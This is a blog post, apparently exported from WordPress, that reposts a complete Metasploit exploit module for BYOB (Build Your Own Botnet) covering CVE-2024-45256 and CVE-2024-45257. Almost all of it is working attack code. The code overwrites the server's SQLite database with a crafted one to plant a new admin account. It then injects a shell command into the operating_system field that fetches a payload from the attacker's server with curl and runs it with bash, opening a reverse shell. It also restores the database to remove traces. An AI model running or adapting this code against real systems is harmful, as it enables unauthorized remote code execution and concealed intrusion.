{"id":59813,"date":"2024-10-16T18:49:33","date_gmt":"2024-10-16T15:49:33","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182256\/byob_unauth_rce.rb.txt"},"modified":"2024-10-16T18:49:33","modified_gmt":"2024-10-16T15:49:33","slug":"byob-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/byob-unauthenticated-remote-code-execution\/","title":{"rendered":"BYOB Unauthenticated Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;sqlite3&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::HttpServer<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:<br \/>1. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user.<br \/>2. CVE-2024-45257: Authenticated command injection in the payload generation page.<\/p>\n<p>These vulnerabilities remain unpatched.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;chebuya&#8217;, # Discoverer and PoC<br \/>&#8216;Valentin Lobstein&#8217; # Metasploit module<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;CVE&#8217;, &#8216;2024-45256&#8217;],<br \/>[&#8216;CVE&#8217;, &#8216;2024-45257&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/blog.chebuya.com\/posts\/unauthenticated-remote-command-execution-on-byob\/&#8217;]<br \/>],<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Arch&#8217; =&gt; %w[ARCH_CMD],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;Unix\/Linux Command Shell&#8217;, {<br \/>&#8216;Platform&#8217; =&gt; %w[unix linux],<br \/>&#8216;Arch&#8217; =&gt; ARCH_CMD,<br \/>&#8216;Privileged&#8217; =&gt; true<br \/># tested with cmd\/linux\/http\/x64\/meterpreter\/reverse_tcp<br \/>}<br \/>]<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-08-15&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DefaultOptions&#8217; =&gt; { &#8216;SRVPORT&#8217; =&gt; 5000 },<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;SideEffects&#8217; =&gt; [IOC_IN_LOGS],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION]<br \/>}<br \/>)<br \/>)<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;USERNAME&#8217;, [false, &#8216;Username for new admin&#8217;, &#8216;admin&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [false, &#8216;Password for new admin&#8217;, nil])<br \/>]<br \/>)<br \/>end<\/p>\n<p>def primer<br \/>add_resource(&#8216;Path&#8217; =&gt; &#8216;\/&#8217;, &#8216;Proc&#8217; =&gt; proc { |cli, req| on_request_uri_payload(cli, req) })<br \/>print_status(&#8216;Payload is ready at \/&#8217;)<br \/>end<\/p>\n<p>def on_request_uri_payload(cli, request)<br \/>handle_request(cli, request, payload.encoded)<br \/>end<\/p>\n<p>def handle_request(cli, request, response_payload)<br \/>print_status(&#8220;Received request at: #{request.uri} &#8211; Client Address: #{cli.peerhost}&#8221;)<\/p>\n<p>case request.uri<br \/>when &#8216;\/&#8217;<br \/>print_status(&#8220;Sending response to #{cli.peerhost} for \/&#8221;)<br \/>send_response(cli, response_payload)<br \/>else<br \/>print_error(&#8220;Request for unknown resource: #{request.uri}&#8221;)<br \/>send_not_found(cli)<br \/>end<br \/>end<\/p>\n<p>def check<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path),<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>})<\/p>\n<p>if res<br \/>doc = res.get_html_document<\/p>\n<p>unless doc.at(&#8216;title&#8217;)&amp;.text&amp;.include?(&#8216;Build Your Own Botnet&#8217;) || doc.at(&#8216;meta[name=&#8221;description&#8221;]&#8217;)&amp;.attr(&#8216;content&#8217;)&amp;.include?(&#8216;Build Your Own Botnet&#8217;)<br \/>return CheckCode::Safe(&#8216;The target does not appear to be BYOB.&#8217;)<br \/>end<br \/>else<br \/>return CheckCode::Unknown(&#8216;The target did not respond to the initial check.&#8217;)<br \/>end<\/p>\n<p>print_good(&#8216;The target appears to be BYOB.&#8217;)<\/p>\n<p>random_data = Rex::Text.rand_text_alphanumeric(32)<br \/>random_filename = Rex::Text.rand_text_alphanumeric(16)<br \/>random_owner = Rex::Text.rand_text_alphanumeric(8)<br \/>random_module = Rex::Text.rand_text_alphanumeric(6)<br \/>random_session = Rex::Text.rand_text_alphanumeric(6)<\/p>\n<p>form_data = {<br \/>&#8216;data&#8217; =&gt; random_data,<br \/>&#8216;filename&#8217; =&gt; random_filename,<br \/>&#8216;type&#8217; =&gt; &#8216;txt&#8217;,<br \/>&#8216;owner&#8217; =&gt; random_owner,<br \/>&#8216;module&#8217; =&gt; random_module,<br \/>&#8216;session&#8217; =&gt; random_session<br \/>}<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;file&#8217;, &#8216;add&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; form_data,<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>})<\/p>\n<p>if res&amp;.code == 500<br \/>return CheckCode::Vulnerable<br \/>else<br \/>case res&amp;.code<br \/>when 200<br \/>return CheckCode::Safe<br \/>when nil<br \/>return CheckCode::Unknown(&#8216;The target did not respond.&#8217;)<br \/>else<br \/>return CheckCode::Unknown(&#8220;The target responded with HTTP status #{res.code}&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n<p>def get_csrf(path)<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, path),<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>})<\/p>\n<p>fail_with(Failure::UnexpectedReply, &#8216;Could not retrieve CSRF token&#8217;) unless res<\/p>\n<p>csrf_token = res.get_html_document.at_xpath(&#8220;\/\/input[@name=&#8217;csrf_token&#8217;]\/@value&#8221;)&amp;.text<br \/>fail_with(Failure::UnexpectedReply, &#8216;CSRF token not found&#8217;) if csrf_token.nil?<\/p>\n<p>csrf_token<br \/>end<\/p>\n<p>def register_user(username, password)<br \/>csrf_token = get_csrf(&#8216;register&#8217;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;register&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;username&#8217; =&gt; username,<br \/>&#8216;password&#8217; =&gt; password,<br \/>&#8216;confirm_password&#8217; =&gt; password,<br \/>&#8216;submit&#8217; =&gt; &#8216;Sign Up&#8217;<br \/>},<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>})<\/p>\n<p>if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8216;No response from the server.&#8217;)<br \/>elsif res.code == 302<br \/>print_good(&#8216;Registered user!&#8217;)<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8220;User registration failed: #{res.code}&#8221;)<br \/>end<br \/>end<\/p>\n<p>def login_user(username, password)<br \/>csrf_token = get_csrf(&#8216;login&#8217;)<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;login&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;username&#8217; =&gt; username,<br \/>&#8216;password&#8217; =&gt; password,<br \/>&#8216;submit&#8217; =&gt; &#8216;Log In&#8217;<br \/>},<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>})<\/p>\n<p>if res.nil?<br \/>fail_with(Failure::UnexpectedReply, &#8216;No response from the server.&#8217;)<br \/>elsif res.code == 302<br \/>print_good(&#8216;Logged in successfully!&#8217;)<br \/>else<br \/>fail_with(Failure::UnexpectedReply, &#8220;Login failed: #{res.code}&#8221;)<br \/>end<br \/>end<\/p>\n<p>def generate_malicious_db<br \/>mem_db = SQLite3::Database.new(&#8216;:memory:&#8217;)<\/p>\n<p>mem_db.execute &lt;&lt;-SQL<br \/>CREATE TABLE user (<br \/>id INTEGER NOT NULL,<br \/>username VARCHAR(32) NOT NULL,<br \/>password VARCHAR(60) NOT NULL,<br \/>joined DATETIME NOT NULL,<br \/>bots INTEGER,<br \/>PRIMARY KEY (id),<br \/>UNIQUE (username)<br \/>);<br \/>SQL<\/p>\n<p>mem_db.execute &lt;&lt;-SQL<br \/>CREATE TABLE session (<br \/>id INTEGER NOT NULL,<br \/>uid VARCHAR(32) NOT NULL,<br \/>online BOOLEAN NOT NULL,<br \/>joined DATETIME NOT NULL,<br \/>last_online DATETIME NOT NULL,<br \/>public_ip VARCHAR(42),<br \/>local_ip VARCHAR(42),<br \/>mac_address VARCHAR(17),<br \/>username VARCHAR(32),<br \/>administrator BOOLEAN,<br \/>platform VARCHAR(5),<br \/>device VARCHAR(32),<br \/>architecture VARCHAR(2),<br \/>latitude FLOAT,<br \/>longitude FLOAT,<br \/>new BOOLEAN NOT NULL,<br \/>owner VARCHAR(120) NOT NULL,<br \/>PRIMARY KEY (uid),<br \/>UNIQUE (uid),<br \/>FOREIGN KEY(owner) REFERENCES user (username)<br \/>);<br \/>SQL<\/p>\n<p>mem_db.execute &lt;&lt;-SQL<br \/>CREATE TABLE payload (<br \/>id INTEGER NOT NULL,<br \/>filename VARCHAR(34) NOT NULL,<br \/>operating_system VARCHAR(3),<br \/>architecture VARCHAR(14),<br \/>created DATETIME NOT NULL,<br \/>owner VARCHAR(120) NOT NULL,<br \/>PRIMARY KEY (id),<br \/>UNIQUE (filename),<br \/>FOREIGN KEY(owner) REFERENCES user (username)<br \/>);<br \/>SQL<\/p>\n<p>mem_db.execute &lt;&lt;-SQL<br \/>CREATE TABLE exfiltrated_file (<br \/>id INTEGER NOT NULL,<br \/>filename VARCHAR(4096) NOT NULL,<br \/>session VARCHAR(15) NOT NULL,<br \/>module VARCHAR(15) NOT NULL,<br \/>created DATETIME NOT NULL,<br \/>owner VARCHAR(120) NOT NULL,<br \/>PRIMARY KEY (id),<br \/>UNIQUE (filename),<br \/>FOREIGN KEY(owner) REFERENCES user (username)<br \/>);<br \/>SQL<\/p>\n<p>mem_db.execute &lt;&lt;-SQL<br \/>CREATE TABLE task (<br \/>id INTEGER NOT NULL,<br \/>uid VARCHAR(32) NOT NULL,<br \/>task TEXT,<br \/>result TEXT,<br \/>issued DATETIME NOT NULL,<br \/>completed DATETIME,<br \/>session VARCHAR(32) NOT NULL,<br \/>PRIMARY KEY (id),<br \/>UNIQUE (uid),<br \/>FOREIGN KEY(session) REFERENCES session (uid)<br \/>);<br \/>SQL<\/p>\n<p>base64_data = Tempfile.open(&#8216;database.db&#8217;) do |file|<br \/>src_db = SQLite3::Database.new(file.path)<br \/>backup = SQLite3::Backup.new(src_db, &#8216;main&#8217;, mem_db, &#8216;main&#8217;)<br \/>backup.step(-1)<br \/>backup.finish<\/p>\n<p>binary_data = File.binread(file.path)<\/p>\n<p>Rex::Text.encode_base64(binary_data)<br \/>end<\/p>\n<p>base64_data<br \/>end<\/p>\n<p>def upload_database_multiple_paths<br \/>successful_paths = []<br \/>filepaths = [<br \/>&#8216;\/proc\/self\/cwd\/buildyourownbotnet\/database.db&#8217;,<br \/>&#8216;\/proc\/self\/cwd\/..\/buildyourownbotnet\/database.db&#8217;,<br \/>&#8216;\/proc\/self\/cwd\/..\/..\/..\/..\/buildyourownbotnet\/database.db&#8217;,<br \/>&#8216;\/proc\/self\/cwd\/instance\/database.db&#8217;,<br \/>&#8216;\/proc\/self\/cwd\/..\/..\/..\/..\/instance\/database.db&#8217;,<br \/>&#8216;\/proc\/self\/cwd\/..\/instance\/database.db&#8217;<br \/>]<\/p>\n<p>filepaths.each do |filepath|<br \/>form_data = {<br \/>&#8216;data&#8217; =&gt; @encoded_db,<br \/>&#8216;filename&#8217; =&gt; filepath,<br \/>&#8216;type&#8217; =&gt; &#8216;txt&#8217;,<br \/>&#8216;owner&#8217; =&gt; Faker::Internet.username,<br \/>&#8216;module&#8217; =&gt; Faker::App.name.downcase,<br \/>&#8216;session&#8217; =&gt; Faker::Alphanumeric.alphanumeric(number: 8)<br \/>}<\/p>\n<p>res = send_request_cgi(<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;file&#8217;, &#8216;add&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; form_data,<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>)<\/p>\n<p>successful_paths &lt;&lt; filepath if res&amp;.code == 200<br \/>end<\/p>\n<p>successful_paths<br \/>end<\/p>\n<p>def on_new_session(session)<br \/>if session.type == &#8216;meterpreter&#8217;<br \/>binary_content = Rex::Text.decode_base64(@encoded_db)<\/p>\n<p>print_status(&#8216;Restoring the database via Meterpreter to avoid leaving traces.&#8217;)<\/p>\n<p>successful_restore = false<\/p>\n<p>@successful_paths.each do |remote_path|<br \/>remote_file = session.fs.file.new(remote_path, &#8216;wb&#8217;)<br \/>remote_file.syswrite(binary_content)<br \/>remote_file.close<br \/>successful_restore = true<br \/>end<\/p>\n<p>if successful_restore<br \/>print_good(&#8216;Database has been successfully restored to its clean state.&#8217;)<br \/>else<br \/>print_error(&#8216;Failed to restore the database on all attempted paths, but proceeding with the exploitation.&#8217;)<br \/>end<br \/>else<br \/>print_error(&#8216;This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues.&#8217;)<br \/>end<br \/>end<\/p>\n<p>def exploit<br \/># Start necessary services and perform initial setup<br \/>start_service<br \/>primer<\/p>\n<p># Define or generate admin credentials<br \/>username = datastore[&#8216;USERNAME&#8217;] || &#8216;admin&#8217;<br \/>password = datastore[&#8216;PASSWORD&#8217;] || Rex::Text.rand_text_alphanumeric(12)<\/p>\n<p># Generate and upload the malicious SQLite database<br \/>print_status(&#8216;Generating malicious SQLite database.&#8217;)<br \/>@encoded_db = generate_malicious_db<\/p>\n<p>@successful_paths = upload_database_multiple_paths<\/p>\n<p>if @successful_paths.empty?<br \/>fail_with(Failure::UnexpectedReply, &#8216;Failed to upload the database from all known paths&#8217;)<br \/>else<br \/>print_good(&#8220;Malicious database uploaded successfully to the following paths: #{@successful_paths.join(&#8216;, &#8216;)}&#8221;)<br \/>end<\/p>\n<p># Register the new admin user<br \/>print_status(&#8220;Registering a new admin user: #{username}:#{password}&#8221;)<br \/>register_user(username, password)<\/p>\n<p># Log in with the newly created admin user<br \/>print_status(&#8216;Logging in with the new admin user.&#8217;)<br \/>login_user(username, password)<\/p>\n<p># Prepare the malicious payload and inject it via command injection<br \/>print_status(&#8216;Injecting payload via command injection.&#8217;)<\/p>\n<p>uri = get_uri.gsub(%r{^https?:\/\/}, &#8221;).chomp(&#8216;\/&#8217;)<br \/>random_filename = &#8220;.#{Rex::Text.rand_text_alphanumeric(rand(3..5))}&#8221;<br \/>malicious_filename = &#8220;curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&amp;&amp;bash$IFS#{random_filename}&#8221;<br \/>payload_data = {<br \/>&#8216;format&#8217; =&gt; &#8216;exe&#8217;,<br \/>&#8216;operating_system&#8217; =&gt; &#8220;nix$(#{malicious_filename})&#8221;,<br \/>&#8216;architecture&#8217; =&gt; &#8216;amd64&#8217;<br \/>}<\/p>\n<p># Send the command injection request<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;payload&#8217;, &#8216;generate&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8216;application\/x-www-form-urlencoded&#8217;,<br \/>&#8216;vars_post&#8217; =&gt; payload_data,<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>}, 5)<\/p>\n<p># Keep the web server running to maintain the service<br \/>service.wait<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;sqlite3&#8217; class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::HttpServerprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI:1. CVE-2024-45256: Unauthenticated &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59813","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59813","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59813"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59813\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59813"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59813"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59813"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}